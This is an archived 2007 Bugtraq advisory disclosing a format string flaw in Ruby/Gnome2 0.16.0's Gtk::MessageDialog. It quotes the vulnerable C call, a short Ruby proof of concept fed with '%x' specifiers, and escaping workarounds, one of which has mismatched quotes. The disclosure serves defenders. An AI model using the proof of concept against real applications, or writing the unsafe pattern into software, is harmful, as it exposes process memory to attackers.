bugtraq - Ruby/Gnome2 0.16.0 Format String Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20071127121658.17248.qmail@securityfocus.com>
Date: 27 Nov 2007 12:16:58 -0000
From: chris.rohlf@...il.com
To: bugtraq@...urityfocus.com
Subject: Ruby/Gnome2 0.16.0 Format String Vulnerability

RubyGnome2 0.16.0
Format String Vulnerability In Gtk::MessageDialog
http://em386.blogspot.com

Ruby Gnome2 is a project to provide GTK2 bindings to ruby scripts so you can write GUI code in less time. There is a format string vulnerability in Gtk::MessageDialog(). This design flaw does not
allow for a user generated string to be safely sent to this function.

It is really just an API to the GTK2 function gtk_message_dialog_new() Ruby/Gnome2 does not properly use a format specifier for the message
variable in  ruby-gnome2-all-0.16.0/gtk/src/rbgtkmessagedialog.c as requested by the Gtk man page for this function.

...
w = gtk_message_dialog_new(NIL_P(parent) ? NULL : GTK_WINDOW(RVAL2GOBJ(parent)),
                             RVAL2GFLAGS(flags, GTK_TYPE_DIALOG_FLAGS),
                             RVAL2GENUM(type, GTK_TYPE_MESSAGE_TYPE),
                             RVAL2GENUM(buttons, GTK_TYPE_BUTTONS_TYPE),
                             (const gchar*)(NIL_P(message) ? "": RVAL2CSTR(message)));
...

The GTK2 documentation:
http://www.gtk.org/api/2.6/gtk/GtkMessageDialog.html#gtk-message-dialog-new
states that message should be a 'printf style format string' and after that should be arguments to message. However calling messagedialog from your ruby script does not support this.

The vulnerability can be exploited by sending a specially crafted string to the function. An example ruby program is provided as a POC.

...
#!/usr/bin/env ruby
# ruby rubber.rb %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

require 'libglade2'

my_string = ARGV[0]

dialog = Gtk::MessageDialog.new(@main_app_window, Gtk::Dialog::MODAL, 
                                      Gtk::MessageDialog::INFO, 
                                      Gtk::MessageDialog::BUTTONS_CLOSE,
                                      "%s - Was your string!" % my_string)
      dialog.run
      dialog.destroy
...

A temporary work around for this vulnerability is using the markup member:

dialog.markup = "#{my_string} - Was your string!"

Or 

my_string = "my_string = my_string.gsub(/%/, "%%")

I have found a few ruby/gnome2 apps out there who use the API in this unsafe manner. 

Fixed Nov 27th 2007 in Ruby/Gnome2 SVN